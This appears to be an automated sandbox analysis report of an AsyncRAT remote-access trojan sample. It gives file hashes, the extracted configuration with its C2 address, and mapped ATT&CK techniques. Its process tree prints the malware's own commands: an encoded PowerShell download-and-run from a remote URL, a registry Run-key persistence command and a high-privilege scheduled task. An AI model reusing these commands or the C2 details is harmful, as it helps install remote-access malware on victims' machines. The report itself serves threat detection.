Analysis

  • max time kernel
    129s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-01-2023 07:11

General

  • Target

    14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe

  • Size

    5KB

  • MD5

    70b303ba1ea0d9b0e42d7d0a70fc5d67

  • SHA1

    d9459c78ed2f8ba8419da111f7e38dddbb051e86

  • SHA256

    14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800

  • SHA512

    053464b02dd44a27102be12bce20f0722da817dbea5c1ae533eb81d8e54fb1e14c6d06c13fcf051b4f3f02a93633f63737466460346e6fbc738291859986ffc8

  • SSDEEP

    96:nOTVR79YSCFYqr+UqDoNrtuNtUqSoQIntvngd3ojsKrl:s9YZFL+UqDGrQNtUqSVugdry

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes
  • delay

    3

  • install

    false

  • install_file

    System Guard Runtime

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe
    "C:\Users\Admin\AppData\Local\Temp\14e809a6ceaa08f85305d9944a7122898772fe77d73b7d5f557f2f08a3d71800.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbABjACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA3ADQAMQA0ADgANAA4ADkAMAA2ADAAMAA2ADYAMAA5AC8AMQAwADUANwA0ADEANQAwADMANAA5ADgANgAzADEAMQA4ADEAMAAvAEMAUgAuAGUAeABlACcALAAgADwAIwB1AGQAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGgAagB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIALgBlAHgAZQAnACkAKQA8ACMAcwBxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBxAHAAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGsAcAB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIALgBlAHgAZQAnACkAPAAjAGUAdgBzACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2408
      • C:\Users\Admin\AppData\Roaming\2.exe
        "C:\Users\Admin\AppData\Roaming\2.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4584
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3448
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4536
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
            5⤵
            • Creates scheduled task(s)
            PID:4384
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          #cmd
          4⤵
            PID:3076

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      6b33cff2c64571ee8b1cf14f157f317f

      SHA1

      ae4426839f5e8c28e8ac6d09b5499d1deda33fd2

      SHA256

      0381f2b66fae947afa407755ca58105879f85411d9a78b99774059f982ee3619

      SHA512

      61110504890848c0f2cff028a9f726445d5d63221bade9d3e801527483d29f9730051b10bdd5fa4b454cb40af130989c1aca3a123b5fe7ae665f3ee18c4fa2c2

    • C:\Users\Admin\AppData\Roaming\2.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • C:\Users\Admin\AppData\Roaming\2.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • memory/2408-133-0x0000000000000000-mapping.dmp
    • memory/2408-134-0x000002179B880000-0x000002179B8A2000-memory.dmp
      Filesize

      136KB

    • memory/2408-136-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp
      Filesize

      10.8MB

    • memory/2408-137-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp
      Filesize

      10.8MB

    • memory/2408-141-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp
      Filesize

      10.8MB

    • memory/3076-148-0x0000000000000000-mapping.dmp
    • memory/3076-149-0x0000000000400000-0x0000000000412000-memory.dmp
      Filesize

      72KB

    • memory/3448-153-0x0000000005B10000-0x0000000005B76000-memory.dmp
      Filesize

      408KB

    • memory/3448-161-0x0000000007CC0000-0x0000000007CCA000-memory.dmp
      Filesize

      40KB

    • memory/3448-166-0x0000000007FB0000-0x0000000007FD2000-memory.dmp
      Filesize

      136KB

    • memory/3448-165-0x0000000007F70000-0x0000000007F78000-memory.dmp
      Filesize

      32KB

    • memory/3448-155-0x0000000006940000-0x000000000695E000-memory.dmp
      Filesize

      120KB

    • memory/3448-147-0x0000000002FB0000-0x0000000002FE6000-memory.dmp
      Filesize

      216KB

    • memory/3448-164-0x0000000007F90000-0x0000000007FAA000-memory.dmp
      Filesize

      104KB

    • memory/3448-156-0x0000000006F20000-0x0000000006F52000-memory.dmp
      Filesize

      200KB

    • memory/3448-150-0x0000000005B90000-0x00000000061B8000-memory.dmp
      Filesize

      6.2MB

    • memory/3448-151-0x0000000005900000-0x0000000005922000-memory.dmp
      Filesize

      136KB

    • memory/3448-152-0x0000000005AA0000-0x0000000005B06000-memory.dmp
      Filesize

      408KB

    • memory/3448-163-0x0000000007E80000-0x0000000007E8E000-memory.dmp
      Filesize

      56KB

    • memory/3448-144-0x0000000000000000-mapping.dmp
    • memory/3448-162-0x0000000007ED0000-0x0000000007F66000-memory.dmp
      Filesize

      600KB

    • memory/3448-160-0x0000000007C50000-0x0000000007C6A000-memory.dmp
      Filesize

      104KB

    • memory/3448-157-0x00000000726F0000-0x000000007273C000-memory.dmp
      Filesize

      304KB

    • memory/3448-158-0x0000000006F00000-0x0000000006F1E000-memory.dmp
      Filesize

      120KB

    • memory/3448-159-0x00000000082A0000-0x000000000891A000-memory.dmp
      Filesize

      6.5MB

    • memory/3804-132-0x00000000006C0000-0x00000000006C8000-memory.dmp
      Filesize

      32KB

    • memory/3804-135-0x00007FF9C1930000-0x00007FF9C23F1000-memory.dmp
      Filesize

      10.8MB

    • memory/4384-146-0x0000000000000000-mapping.dmp
    • memory/4536-145-0x0000000000000000-mapping.dmp
    • memory/4584-142-0x00000000005C0000-0x00000000005DC000-memory.dmp
      Filesize

      112KB

    • memory/4584-143-0x00000000054B0000-0x0000000005A54000-memory.dmp
      Filesize

      5.6MB

    • memory/4584-138-0x0000000000000000-mapping.dmp